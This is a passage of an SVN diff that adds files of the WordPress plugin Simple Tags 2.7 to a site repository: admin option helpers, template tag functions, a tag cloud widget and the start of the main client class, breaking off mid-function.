+			SELECT DISTINCT name
+			FROM {$wpdb->terms} AS t
+			INNER JOIN {$wpdb->term_taxonomy} AS tt ON t.term_id = tt.term_id
+			WHERE tt.taxonomy = 'post_tag'	
+		");
+	}
+
+	############## Admin WP Helper ##############
+	/**
+	 * Display plugin Copyright
+	 *
+	 */
+	function printAdminFooter() {
+		?>
+		<p class="footer_st"><?php printf(__('&copy; Copyright 2008 <a href="http://www.herewithme.fr/" title="Here With Me">Amaury Balmer</a> | <a href="http://wordpress.org/extend/plugins/simple-tags">Simple Tags</a> | Version %s', 'simpletags'), $this->version); ?></p>
+		<?php
+	}
+
+	/**
+	 * Display WP alert
+	 *
+	 */
+	function displayMessage() {
+		if ( $this->message != '') {
+			$message = $this->message;
+			$status = $this->status;
+			$this->message = $this->status = ''; // Reset
+		}
+
+		if ( $message ) {
+		?>
+			<div id="message" class="<?php echo ($status != '') ? $status :'updated'; ?> fade">
+				<p><strong><?php echo $message; ?></strong></p>
+			</div>
+		<?php
+		}
+	}
+
+	/**
+	 * Ouput formatted options
+	 *
+	 * @param array $option_data
+	 * @return string
+	 */
+	function printOptions( $option_data ) {
+		// Get actual options
+		$option_actual = (array) $this->options;
+
+		// Generate output
+		$output = '';
+		foreach( $option_data as $section => $options) {
+			$output .= "\n" . '<div id="'. sanitize_title($section) .'"><fieldset class="options"><legend>' . $this->getNiceTitleOptions($section) . '</legend><table class="form-table">' . "\n";
+			foreach((array) $options as $option) {
+				// Helper
+				if (  $option[2] == 'helper' ) {
+						$output .= '<tr style="vertical-align: middle;"><td class="helper" colspan="2">' . $option[4] . '</td></tr>' . "\n";
+						continue;
+				}
+
+				switch ( $option[2] ) {
+					case 'checkbox':
+						$input_type = '<input type="checkbox" id="' . $option[0] . '" name="' . $option[0] . '" value="' . htmlspecialchars($option[3]) . '" ' . ( ($option_actual[ $option[0] ]) ? 'checked="checked"' : '') . ' />' . "\n";
+						break;
+
+					case 'dropdown':
+						$selopts = explode('/', $option[3]);
+						$seldata = '';
+						foreach( (array) $selopts as $sel) {
+							$seldata .= '<option value="' . $sel . '" ' .(($option_actual[ $option[0] ] == $sel) ? 'selected="selected"' : '') .' >' . ucfirst($sel) . '</option>' . "\n";
+						}
+						$input_type = '<select id="' . $option[0] . '" name="' . $option[0] . '">' . $seldata . '</select>' . "\n";
+						break;	
+					
+					case 'text-color':
+						$input_type = '<input type="text" ' . (($option[3]>50) ? ' style="width: 95%" ' : '') . 'id="' . $option[0] . '" name="' . $option[0] . '" value="' . htmlspecialchars($option_actual[ $option[0] ]) . '" size="' . $option[3] .'" /><div class="box_color ' . $option[0] . '"></div>' . "\n";
+						break;
+
+					case 'text':
+					default:
+						$input_type = '<input type="text" ' . (($option[3]>50) ? ' style="width: 95%" ' : '') . 'id="' . $option[0] . '" name="' . $option[0] . '" value="' . htmlspecialchars($option_actual[ $option[0] ]) . '" size="' . $option[3] .'" />' . "\n";
+						break;
+				}
+
+				// Additional Information
+				$extra = '';
+				if( !empty($option[4]) ) {
+					$extra = '<div class="stpexplan">' . __($option[4]) . '</div>' . "\n";
+				}
+
+				// Output
+				$output .= '<tr style="vertical-align: top;"><th scope="row"><label for="'.$option[0].'">' . __($option[1]) . '</label></th><td>' . $input_type . '	' . $extra . '</td></tr>' . "\n";
+			}
+			$output .= '</table>' . "\n";
+			$output .= '</fieldset></div>' . "\n";
+		}
+		return $output;
+	}
+	
+	/**
+	 * Get nice title for tabs title option
+	 *
+	 * @param string $id
+	 * @return string
+	 */
+	function getNiceTitleOptions( $id = '' ) {
+		switch ( $id ) {
+			case 'administration':
+				return __('Administration', 'simpletags');
+				break;
+			case 'auto-links':
+				return __('Auto link', 'simpletags');
+				break;
+			case 'general':
+				return __('General', 'simpletags');
+				break;
+			case 'metakeywords':
+				return __('Meta Keyword', 'simpletags');
+				break;
+			case 'embeddedtags':
+				return __('Embedded Tags', 'simpletags');
+				break;
+			case 'tagspost':
+				return __('Tags for Current Post', 'simpletags');
+				break;
+			case 'relatedposts':
+				return __('Related Posts', 'simpletags');
+				break;
+			case 'relatedtags':
+				return __('Related Tags', 'simpletags');
+				break;
+			case 'tagcloud':
+				return __('Tag cloud', 'simpletags');
+				break;
+		}
+		return '';
+	}
+
+	/**
+	 * Escape string so that it can used in Regex. E.g. used for [tags]...[/tags]
+	 *
+	 * @param string $content
+	 * @return string
+	 */
+	function regexEscape( $content ) {
+		return strtr($content, array("\\" => "\\\\", "/" => "\\/", "[" => "\\[", "]" => "\\]"));
+	}
+	
+	/**
+	 * Add initial ST options in DB
+	 *
+	 */
+	function installSimpleTags() {
+		$options_from_table = get_option( $this->db_options );
+		if ( !$options_from_table ) {
+			$this->resetToDefaultOptions();
+		}
+	}
+
+	/**
+	 * Remove ST options when user delete plugin (use WP API Uninstall)
+	 *
+	 */
+	function uninstall() {
+		delete_option($this->db_options, $this->default_options);
+		delete_option('widget_stags_cloud');
+	}
+}
+
+// Future of WP ?
+if ( !function_exists('add_filters') ) :
+function add_filters($tags, $function_to_add, $priority = 10, $accepted_args = 1) {
+	if ( is_array($tags) ) {
+		foreach ( (array) $tags as $tag ) {
+			add_filter($tag, $function_to_add, $priority, $accepted_args);
+		}
+		return true;
+	} else {
+		return add_filter($tags, $function_to_add, $priority, $accepted_args);
+	}
+}
+endif;
+
+if ( !function_exists('add_actions') ) :
+function add_actions($tags, $function_to_add, $priority = 10, $accepted_args = 1) {
+	return add_filters($tags, $function_to_add, $priority, $accepted_args);
+}
+endif;
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/simple-tags.functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/simple-tags.functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/simple-tags.functions.php	(revision 44)
@@ -0,0 +1,123 @@
+<?php
+/**
+ * Generate related posts for a post in WP loop
+ *
+ * @param string $args
+ * @return string|array
+ */
+function st_get_related_posts( $args = '' ) {
+	global $simple_tags;
+	return $simple_tags->relatedPosts( $args );
+}
+
+/**
+ * Display related posts for a post in WP loop
+ *
+ * @param string $args
+ */
+function st_related_posts( $args = '' ) {
+	echo st_get_related_posts( $args );
+}
+
+/**
+ * Generate extended tag cloud
+ *
+ * @param string $args
+ * @return string|array
+ */
+function st_get_tag_cloud( $args = '' ) {
+	global $simple_tags;
+	return $simple_tags->extendedTagCloud( $args );
+}
+
+/**
+ *  Display extended tag cloud
+ *
+ * @param string $args
+ */
+function st_tag_cloud( $args = '' ) {
+	echo st_get_tag_cloud( $args );
+}
+
+/**
+ * Generate extended current tags post
+ *
+ * @param string $args
+ * @return string
+ */
+function st_get_the_tags( $args = '' ) {
+	global $simple_tags;
+	return $simple_tags->extendedPostTags( $args );
+}
+
+/**
+ *  Display extended current tags post
+ *
+ * @param string $args
+ */
+function st_the_tags( $args = '' ) {
+	echo st_get_the_tags( $args );
+}
+
+/**
+ * Generate meta keywords for HTML header
+ *
+ * @return string
+ */
+function st_get_meta_keywords() {
+	global $simple_tags;
+	$tags_list = $simple_tags->generateKeywords();
+	if ( !empty($tags_list) ) {
+		return "\n\t" . '<!-- Generated by Simple Tags ' . $simple_tags->version . ' - http://wordpress.org/extend/plugins/simple-tags -->' ."\n\t". '<meta name="keywords" content="' . $tags_list . '" />' . "\n";
+	}
+	return '';
+}
+
+/**
+ * Display meta keywords for HTML header
+ *
+ */
+function st_meta_keywords() {
+	echo st_get_meta_keywords();
+}
+
+/**
+ * Display related tags
+ *
+ * @param string $args
+ */
+function st_related_tags( $args = '' ) {
+	echo st_get_related_tags( $args );
+}
+
+/**
+ * Get related tags
+ *
+ * @param string $args
+ * @return string|array
+ */
+function st_get_related_tags( $args = '' ) {
+	global $simple_tags;
+	return $simple_tags->relatedTags( $args );	
+}
+
+/**
+ * Display remove related tags
+ *
+ * @param string $args
+ */
+function st_remove_related_tags( $args = '' ) {
+	echo st_get_remove_related_tags( $args );
+}
+
+/**
+ * Get remove related tags
+ *
+ * @param string $args
+ * @return string|array
+ */
+function st_get_remove_related_tags( $args = '' ) {
+	global $simple_tags;
+	return $simple_tags->removeRelatedTags( $args );	
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/simple-tags.widgets.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/simple-tags.widgets.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/simple-tags.widgets.php	(revision 44)
@@ -0,0 +1,277 @@
+<?php
+function widget_st_tag_cloud_init() {
+	// Widgets exists ?
+	if ( !function_exists('wp_register_sidebar_widget') || !function_exists('wp_register_widget_control') ) {
+		return;
+	}
+
+	// Simple Tags exists ?
+	global $simple_tags;
+	if ( !class_exists('SimpleTags') || is_null($simple_tags) ) {
+		return;
+	}	
+
+	function widget_st_tag_cloud( $widget_args, $number = 1 ) {
+		extract($widget_args);
+		$options = get_option('widget_stags_cloud');
+			
+		$fields = array('title','max','selection','order','smini','smax','unit','format','color','cmini','cmax','xformat');
+		foreach ( (array) $fields as $field ) {
+			${$field} = trim(strtolower($options[$number][$field]));
+		}
+
+		// Use Widgets title and no ST title !!
+		$args = 'title=';
+
+		// Selection
+		if ( !empty($selection) ) {
+			$args .= '&cloud_selection='.$selection;
+		} else {
+			$args .= '&cloud_selection=count-desc';
+		}
+
+		// Order
+		if ( !empty($order) ) {
+			$args .= '&cloud_sort='.$order;
+		} else {
+			$args .= '&cloud_sort=random';
+		}
+
+		// Max tags
+		if ( $max != 0 ) {
+			$args .= '&number='.$max;
+		}
+
+		// Size Mini
+		if ( $smini != 0 ) {
+			$args .= '&smallest='.$smini;
+		}
+
+		// Size Maxi
+		if ( $smax != 0 ) {
+			$args .= '&largest='.$smax;
+		}
+
+		// Unit
+		if ( !empty($unit) ) {
+			$args .= '&unit='.$unit;
+		}
+
+		// Format
+		if ( !empty($format) ) {
+			$args .= '&format='.$format;
+		}
+
+		// Use color ?
+		if ( $color == 0 ) {
+			$args .= '&color=false';
+		}
+
+		// Color mini
+		if ( !empty($cmini) ) {
+			$args .= '&mincolor='.$cmini;
+		}
+
+		// Color Max
+		if ( !empty($cmax) ) {
+			$args .= '&maxcolor='.$cmax;
+		}
+
+		// Xformat
+		if ( !empty($xformat) ) {
+			$args .= '&xformat='.$xformat;
+		}
+
+		// Use custom title with Widgets Title 
+		// Keep this, else title is also lower...
+		$title = trim($options[$number]['title']);
+		
+		echo $before_widget;
+		echo $before_title . $title . $after_title;
+			st_tag_cloud($args);
+		echo $after_widget;
+	}
+
+	function widget_st_tag_cloud_control( $number ) {
+		// Options
+		$fields = array('title','max','selection','order','smini','smax','unit','format','color','cmini','cmax','xformat');
+
+		// Get actual options
+		$options = $newoptions = get_option('widget_stags_cloud');
+		if ( !is_array($options) ) {
+			$options = $newoptions = array();
+		}
+
+		// Post to new options array
+		if ( isset($_POST['widget-stags-submit-'.$number]) ) {
+			foreach ( (array) $fields as $field ) {
+				$newoptions[$number][$field] = strip_tags(stripslashes($_POST['widget-stags-'.$field.'-'.$number]));
+			}
+		}
+
+		// Update if new options
+		if ( $options != $newoptions ) {
+			$options = $newoptions;
+			update_option('widget_stags_cloud', $options);
+		}
+
+		// Prepare data for display
+		foreach ( (array) $fields as $field ) {
+			${$field} = attribute_escape($options[$number][$field]);		
+		}
+		
+		// Default values
+		$max = empty($max) ? '45' : $max;
+		$selection = empty($selection) ? 'count-desc' : $selection;
+		$order = empty($order) ? 'random' : $order;		
+		$smini = empty($smini) ? '8' : $smini;
+		$smax = empty($smax) ? '22' : $smax;
+		?>
+		<div>
+			<p><?php _e('Empty field will use default value.', 'simpletags'); ?></p>
+
+			<label for="widget-stags-title-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Title:', 'simpletags'); ?>
+				<input type="text" id="widget-stags-title-<?php echo $number; ?>" name="widget-stags-title-<?php echo $number; ?>" value="<?php echo $title; ?>" />
+			</label>
+
+			<label for="widget-stags-max-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Max tags to display: (default: 45)', 'simpletags'); ?>
+				<input size="20" type="text" id="widget-stags-max-<?php echo $number; ?>" name="widget-stags-max-<?php echo $number; ?>" value="<?php echo $max; ?>" />
+			</label>
+
+			<label for="widget-stags-selection-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Tags selection:', 'simpletags'); ?>
+				<select id="widget-stags-selection-<?php echo $number; ?>" name="widget-stags-selection-<?php echo $number; ?>">
+					<option <?php if ( $selection == 'name-asc' ) echo 'selected="selected"'; ?> value="name-asc"><?php _e('Alphabetical', 'simpletags'); ?></option>
+					<option <?php if ( $selection == 'name-desc' ) echo 'selected="selected"'; ?> value="name-desc"><?php _e('Inverse Alphabetical', 'simpletags'); ?></option>
+					<option <?php if ( $selection == 'count-desc' ) echo 'selected="selected"'; ?> value="count-desc"><?php _e('Most popular (default)', 'simpletags'); ?></option>
+					<option <?php if ( $selection == 'count-asc' ) echo 'selected="selected"'; ?> value="count-asc"><?php _e('Least used', 'simpletags'); ?></option>
+					<option <?php if ( $selection == 'random' ) echo 'selected="selected"'; ?> value="random"><?php _e('Random', 'simpletags'); ?></option>
+				</select>
+			</label>
+
+			<label for="widget-stags-order-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Order tags display:', 'simpletags'); ?>
+				<select id="widget-stags-order-<?php echo $number; ?>" name="widget-stags-order-<?php echo $number; ?>">
+					<option <?php if ( $order == 'name-asc' ) echo 'selected="selected"'; ?> value="name-asc"><?php _e('Alphabetical', 'simpletags'); ?></option>
+					<option <?php if ( $order == 'name-desc' ) echo 'selected="selected"'; ?> value="name-desc"><?php _e('Inverse Alphabetical', 'simpletags'); ?></option>
+					<option <?php if ( $order == 'count-desc' ) echo 'selected="selected"'; ?> value="count-desc"><?php _e('Most popular', 'simpletags'); ?></option>
+					<option <?php if ( $order == 'count-asc' ) echo 'selected="selected"'; ?> value="count-asc"><?php _e('Least used', 'simpletags'); ?></option>
+					<option <?php if ( $order == 'random' ) echo 'selected="selected"'; ?> value="random"><?php _e('Random (default)', 'simpletags'); ?></option>
+				</select>
+			</label>
+
+			<label for="widget-stags-smini-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Font size mini: (default: 8)', 'simpletags'); ?>
+				<input size="20"  type="text" id="widget-stags-smini-<?php echo $number; ?>" name="widget-stags-smini-<?php echo $number; ?>" value="<?php echo $smini; ?>" />
+			</label>
+
+			<label for="widget-stags-smax-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Font size max: (default: 22)', 'simpletags'); ?>
+				<input size="20" type="text" id="widget-stags-smax-<?php echo $number; ?>" name="widget-stags-smax-<?php echo $number; ?>" value="<?php echo $smax; ?>" />
+			</label>
+
+			<label for="widget-stags-unit-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Unit font size:', 'simpletags'); ?>
+				<select id="widget-stags-unit-<?php echo $number; ?>" name="widget-stags-unit-<?php echo $number; ?>">
+					<option <?php if ( $unit == 'pt' ) echo 'selected="selected"'; ?> value="pt"><?php _e('Point (default)', 'simpletags'); ?></option>
+					<option <?php if ( $unit == 'px' ) echo 'selected="selected"'; ?> value="px"><?php _e('Pixel', 'simpletags'); ?></option>
+					<option <?php if ( $unit == 'em' ) echo 'selected="selected"'; ?> value="em"><?php _e('Em', 'simpletags'); ?></option>
+					<option <?php if ( $unit == '%' ) echo 'selected="selected"'; ?> value="%"><?php _e('Pourcent', 'simpletags'); ?></option>
+				</select>
+			</label>
+
+			<label for="widget-stags-format-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Format:', 'simpletags'); ?>
+				<select id="widget-stags-format-<?php echo $number; ?>" name="widget-stags-format-<?php echo $number; ?>">
+					<option <?php if ( $format == 'flat' ) echo 'selected="selected"'; ?> value="flat"><?php _e('Flat (default)', 'simpletags'); ?></option>
+					<option <?php if ( $format == 'list' ) echo 'selected="selected"'; ?> value="list"><?php _e('List (UL/LI)', 'simpletags'); ?></option>
+				</select>
+			</label>
+
+			<label for="widget-stags-color-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<input type="checkbox" id="widget-stags-color-<?php echo $number; ?>" name="widget-stags-color-<?php echo $number; ?>" <?php if ( $color == 1 ) echo 'checked="checked"'; ?> value="1" />
+				<?php _e('Use auto color cloud:', 'simpletags'); ?>
+			</label>
+
+			<label for="widget-stags-cmini-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Font color mini: (default: #CCCCCC)', 'simpletags'); ?>
+				<input type="text" id="widget-stags-cmini-<?php echo $number; ?>" name="widget-stags-cmini-<?php echo $number; ?>" value="<?php echo $cmini; ?>" />
+			</label>
+
+			<label for="widget-stags-cmax-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Font color max: (default: #000000)', 'simpletags'); ?>
+				<input type="text" id="widget-stags-cmax-<?php echo $number; ?>" name="widget-stags-cmax-<?php echo $number; ?>" value="<?php echo $cmax; ?>" />
+			</label>
+
+			<label for="widget-stags-xformat-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Extended format: (advanced usage)', 'simpletags'); ?><br />
+				<input style="width: 100% !important;" type="text" id="widget-stags-xformat-<?php echo $number; ?>" name="widget-stags-xformat-<?php echo $number; ?>" value="<?php echo $xformat; ?>" />
+			</label>
+
+			<input type="hidden" name="widget-stags-submit-<?php echo $number; ?>" id="widget-stags-submit-<?php echo $number; ?>" value="1" />
+		</div>
+		<?php
+	}
+
+	function st_tag_cloud_setup() {
+		$options = $newoptions = get_option('widget_stags_cloud');
+		if ( isset($_POST['stags_cloud-number-submit']) ) {
+			$newoptions['number'] = (int) $_POST['stags_cloud-number'];
+			if ( $newoptions['number'] > 9 ) {
+				$newoptions['number'] = 9;
+			} elseif ( $newoptions['number'] < 1 ) {
+				$newoptions['number'] = 1;
+			}
+		}
+		if ( $options != $newoptions ) {
+			$options = $newoptions;
+			update_option('widget_stags_cloud', $options);
+			widget_st_tag_cloud_register($options['number']);
+		}
+	}
+
+	function st_tag_cloud_page() {
+		$options = get_option('widget_stags_cloud');
+		?>
+			<div class="wrap">
+				<form method="post">
+					<h2><?php _e('Simple Tags : Tag Cloud Widgets', 'simpletags'); ?></h2>
+					<p style="line-height: 30px;"><?php _e('How many tag cloud widgets would you like?', 'simpletags'); ?>
+						<select id="stags_cloud-number" name="stags_cloud-number" value="<?php echo $options['number']; ?>">
+							<?php for ( $i = 1; $i < 10; ++$i ) echo "<option value='$i' ".($options['number']==$i ? "selected='selected'" : '').">$i</option>"; ?>
+						</select>
+						<span class="submit"><input type="submit" name="stags_cloud-number-submit" id="stags_cloud-number-submit" value="<?php echo attribute_escape(__('Save', 'simpletags')); ?>" /></span></p>
+				</form>
+			</div>
+		<?php
+	}
+
+	function widget_st_tag_cloud_register() {
+		$options = get_option('widget_stags_cloud');
+		$widget_ops = array('classname' => 'widget_stags_cloud', 'description' => __( 'Your most used tags in cloud format with dynamic color and many options', 'simpletags') );
+		
+		$number = (int) $options['number'];
+		if ( $number < 1 ) {
+			$number = 1;
+		} elseif ( $number > 9 ) {
+			$number = 9;
+		}
+
+		for ( $i = 1; $i <= 9; $i++ ) {
+			wp_register_sidebar_widget('widget_stags-'.$i, sprintf(__('ST: Tag Cloud %d', 'simpletags'), $i), $i <= $number ? 'widget_st_tag_cloud' : '', $widget_ops, $i);
+			wp_register_widget_control('widget_stags-'.$i, sprintf(__('ST: Tag Cloud %d', 'simpletags'), $i), $i <= $number ? 'widget_st_tag_cloud_control' : '', array(), $i);
+		}
+
+		add_action('sidebar_admin_setup', 'st_tag_cloud_setup');
+		add_action('sidebar_admin_page', 'st_tag_cloud_page');
+	}
+
+	// Launch Widgets
+	widget_st_tag_cloud_register();
+}
+
+// Initialize !
+widget_st_tag_cloud_init();
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/simple-tags.client.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/simple-tags.client.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/simple-tags.client.php	(revision 44)
@@ -0,0 +1,2185 @@
+<?php
+class SimpleTags {
+	var $version = '1.6.6';
+
+	var $info;
+	var $options;
+	var $default_options;
+	var $db_options = 'simpletags';
+	var $dateformat;
+
+	// Stock Post ID for current view
+	var $posts = array();
+	var $tags_currentposts = array();
+	var $link_tags = 'null';
+
+	// WP Object Cache
+	var $use_cache = false;
+
+	/**
+	 * PHP4 constructor - Initialize ST
+	 *
+	 * @return SimpleTags
+	 */
+	function SimpleTags() {
+		// Determine installation path & url
+		$path = str_replace('\\','/',dirname(__FILE__));
+		$path = substr($path, strpos($path, 'plugins') + 8, strlen($path));
+
+		$info['siteurl'] = get_option('siteurl');
+		if ( $this->isMuPlugin() ) {
+			$info['install_url'] = $info['siteurl'] . '/wp-content/mu-plugins';
+			$info['install_dir'] = ABSPATH . 'wp-content/mu-plugins';
+
+			if ( $path != 'mu-plugins' ) {
+				$info['install_url'] .= '/' . $path;
+				$info['install_dir'] .= '/' . $path;
+			}
+		} else {
+			$info['install_url'] = $info['siteurl'] . '/wp-content/plugins';
+			$info['install_dir'] = ABSPATH . 'wp-content/plugins';
+
+			if ( $path != 'plugins' ) {
+				$info['install_url'] .= '/' . $path;
+				$info['install_dir'] .= '/' . $path;
+			}
+		}
+
+		// Set informations
+		$this->info = array(
+		'home' => get_option('home'),
+		'siteurl' => $info['siteurl'],
+		'install_url' => $info['install_url'],
+		'install_dir' => $info['install_dir']
+		);
+		unset($info);		
+		
+		// Localization
+		$locale = get_locale();
+		if ( !empty( $locale ) ) {
+			$mofile = str_replace('/2.7', '', $this->info['install_dir']).'/languages/simpletags-'.$locale.'.mo';
+			load_textdomain('simpletags', $mofile);
+		}
+
+		// Options
+		$default_options = array(
+		// General
+		'use_tag_pages' => 1,
+		'allow_embed_tcloud' => 0,
+		'no_follow' => 0,
+		// Auto link
+		'auto_link_tags' => 0,
+		'auto_link_min' => 1,
+		'auto_link_case' => 1,
+		'auto_link_max_by_post' => 20,
+		// Administration
+		'use_click_tags' => 1,
+		'use_suggested_tags' => 1,
+		'use_autocompletion' => 1,
+		// Embedded Tags
+		'use_embed_tags' => 0,
+		'start_embed_tags' => '[tags]',
+		'end_embed_tags' => '[/tags]',
+		// Related Posts
+		'rp_feed' => 0,
+		'rp_embedded' => 'no',
+		'rp_order' => 'count-desc',
+		'rp_limit_qty' => 5,
+		'rp_notagstext' => __('No related posts.', 'simpletags'),
+		'rp_title' => __('<h4>Related posts</h4>', 'simpletags'),
+		'rp_xformat' => __('<a href="%post_permalink%" title="%post_title% (%post_date%)">%post_title%</a> (%post_comment%)', 'simpletags'),
+		'rp_adv_usage' => '',
+		// Tag cloud
+		'cloud_selection' => 'count-desc',
+		'cloud_sort' => 'random',
+		'cloud_limit_qty' => 45,
+		'cloud_notagstext' => __('No tags.', 'simpletags'),
+		'cloud_title' => __('<h4>Tag Cloud</h4>', 'simpletags'),
+		'cloud_format' => 'flat',
+		'cloud_xformat' => __('<a href="%tag_link%" id="tag-link-%tag_id%" class="st-tags t%tag_scale%" title="%tag_count% topics" %tag_rel% style="%tag_size% %tag_color%">%tag_name%</a>', 'simpletags'),
+		'cloud_max_color' => '#000000',
+		'cloud_min_color' => '#CCCCCC',
+		'cloud_max_size' => 22,
+		'cloud_min_size' => 8,
+		'cloud_unit' => 'pt',
+		'cloud_inc_cats' => 0,
+		'cloud_adv_usage' => '',
+		// The tags
+		'tt_feed' => 0,
+		'tt_embedded' => 'no',
+		'tt_separator' => ', ',
+		'tt_before' => __('Tags: ', 'simpletags'),
+		'tt_after' => '<br />',
+		'tt_notagstext' => __('No tags for this post.', 'simpletags'),
+		'tt_number' => 0,
+		'tt_inc_cats' => 0,
+		'tt_xformat' => __('<a href="%tag_link%" title="%tag_name%" %tag_rel%>%tag_name%</a>', 'simpletags'),
+		'tt_adv_usage' => '',
+		// Related tags
+		'rt_number' => 5,
+		'rt_order' => 'count-desc',
+		'rt_separator' => ' ',
+		'rt_format' => 'list',
+		'rt_method' => 'OR',
+		'rt_title' => __('<h4>Related tags</h4>', 'simpletags'),
+		'rt_notagstext' => __('No related tags found.', 'simpletags'),
+		'rt_xformat' => __('<span>%tag_count%</span> <a href="%tag_link_add%">+</a> <a href="%tag_link%">%tag_name%</a>', 'simpletags'),
+		// Remove related tags
+		'rt_remove_separator' => ' ',
+		'rt_remove_format' => 'list',
+		'rt_remove_notagstext' => ' ',
+		'rt_remove_xformat' => __('&raquo; <a href="%tag_link_remove%" title="Remove %tag_name_attribute% from search">Remove %tag_name%</a>', 'simpletags'),
+		// Meta keywords
+		'meta_autoheader' => 1,
+		'meta_always_include' => '',
+		'meta_keywords_qty' => 0,
+		// Auto tags
+		'use_auto_tags' => 0,
+		'at_all' => 0,
+		'at_empty' => 0,
+		'auto_list' => ''
+		);
+
+		// Set class property for default options
+		$this->default_options = $default_options;
+
+		// Get options from WP options
+		$options_from_table = get_option( $this->db_options );
+
+		// Update default options by getting not empty values from options table
+		foreach( (array) $default_options as $default_options_name => $default_options_value ) {
+			if ( !is_null($options_from_table[$default_options_name]) ) {
+				if ( is_int($default_options_value) ) {
+					$default_options[$default_options_name] = (int) $options_from_table[$default_options_name];
+				} else {
+					$default_options[$default_options_name] = $options_from_table[$default_options_name];
+				}
+			}
+		}
+
+		// Set the class property and unset no used variable
+		$this->options = $default_options;
+		
+		// Clean memory
+		$default_options = array();
+		$options_from_table = array();
+		unset($default_options);
+		unset($options_from_table);
+		unset($default_options_value);
+
+		// Use WP Object ? Or not ?
+		global $wp_object_cache;
+		$this->use_cache = ( $wp_object_cache->cache_enabled === true ) ? true : false;
+
+		// Set date for class
+		$this->dateformat = get_option('date_format');
+
+		// Add pages in WP_Query
+		if ( $this->options['use_tag_pages'] == 1 ) {
+			// Remove default taxonomy
+			global $wp_taxonomies;
+			unset($wp_taxonomies['post_tag']);
+			// Add the same taxonomy with an another callback who allow page and post
+			register_taxonomy( 'post_tag', 'post', array('hierarchical' => false, 'update_count_callback' => array(&$this, '_update_post_and_page_term_count')) );
+			add_filter('posts_where', array(&$this, 'prepareQuery'));
+		}
+
+		// Remove embedded tags in posts display
+		if ( $this->options['use_embed_tags'] == 1 ) {
+			add_filter('the_content', array(&$this, 'filterEmbedTags'), 0);
+		}
+
+		// Add related posts in post ( all / feedonly / blogonly / homeonly / singularonly / singleonly / pageonly /no )
+		if ( $this->options['tt_embedded'] != 'no' || $this->options['tt_feed'] == 1 ) {
+			add_filter('the_content', array(&$this, 'inlinePostTags'), 999992);
+		}
+
+		// Add post tags in post ( all / feedonly / blogonly / homeonly / singularonly / singleonly / pageonly /no )
+		if ( $this->options['rp_embedded'] != 'no' || $this->options['rp_feed'] == 1 ) {
+			add_filter('the_content', array(&$this, 'inlineRelatedPosts'), 999993);
+		}
+
+		// Embedded tag cloud
+		if ( $this->options['allow_embed_tcloud'] == 1 ) {
+			add_filter('the_content', array(&$this, 'inlineTagCloud'));
+		}
+
+		// Stock Posts ID (useful for autolink and metakeywords)
+		add_filter( 'the_posts', array(&$this, 'getPostIds') );
+
+		// Add keywords to header
+		if ( ( $this->options['meta_autoheader'] == 1 && !class_exists('Platinum_SEO_Pack') && !class_exists('All_in_One_SEO_Pack') && apply_filters('st_meta_header', true) ) ) {
+			add_action('wp_head', array(&$this, 'outputMetaKeywords'));
+		}
+
+		// Auto link tags
+		if ( $this->options['auto_link_tags'] == '1' ) {
+			add_filter('the_content', array(&$this, 'autoLinkTags'), 12);
+		}
+		return true;
+	}
+
+	/**
+	 * Get links for each tag for auto link feature
+	 *
+	 */
+	function prepareAutoLinkTags() {
+		$this->getTagsFromCurrentPosts();
+
+		$auto_link_min = (int) $this->options['auto_link_min'];
+		if ( $auto_link_min == 0 ) {
+			$auto_link_min = 1;
+		}
+
+		$this->link_tags = array();
+		foreach ( (array) $this->tags_currentposts as $term ) {
+			if ( $term->count >= $auto_link_min ) {
+				$this->link_tags[$term->name] = clean_url(get_tag_link( $term->term_id ));
+			}
+		}
+		return true;
+	}
+
+	/**
+	 * Replace text by link to tag
+	 *
+	 * @param string $content
+	 * @return string
+	 */
+	function autoLinkTags( $content = '' ) {
+		// Get currents tags if no exists
+		if ( $this->link_tags == 'null' ) {
+			$this->prepareAutoLinkTags();
+		}
+		
+		// Shuffle array
+		$link_tags = $this->randomArray($this->link_tags);
+		
+		
+		// HTML Rel (tag/no-follow)
+		$rel = $this->buildRel( $this->options['no_follow'] );
+
+		// only continue if the database actually returned any links
+		if ( isset($link_tags) && is_array($link_tags) && count($link_tags) > 0 ) {		
+		
+			// Limit array
+			if ( (int) $this->options['auto_link_max_by_post'] != 0 ) {
+				$link_tags = array_slice($link_tags, 0, (int) $this->options['auto_link_max_by_post']);
+			}
+
+			$must_tokenize = TRUE; // will perform basic tokenization
+			$tokens = NULL; // two kinds of tokens: markup and text
+
+			$case = ( $this->options['auto_link_case'] == 1 ) ? 'i' : '';
+
+			foreach ( (array) $link_tags as $term_name => $term_link ) {
+				$filtered = ""; // will filter text token by token
+				$match = "/\b" . preg_quote($term_name, "/") . "\b/".$case;
+				$substitute = '<a href="'.$term_link.'" class="st_tag internal_tag" '.$rel.' title="'. attribute_escape( sprintf( __('Posts tagged with %s', 'simpletags'), $term_name ) )."\">$0</a>";
+
+				// for efficiency only tokenize if forced to do so
+				if ( $must_tokenize ) {
+					// this regexp is taken from PHP Markdown by Michel Fortin: http://www.michelf.com/projects/php-markdown/
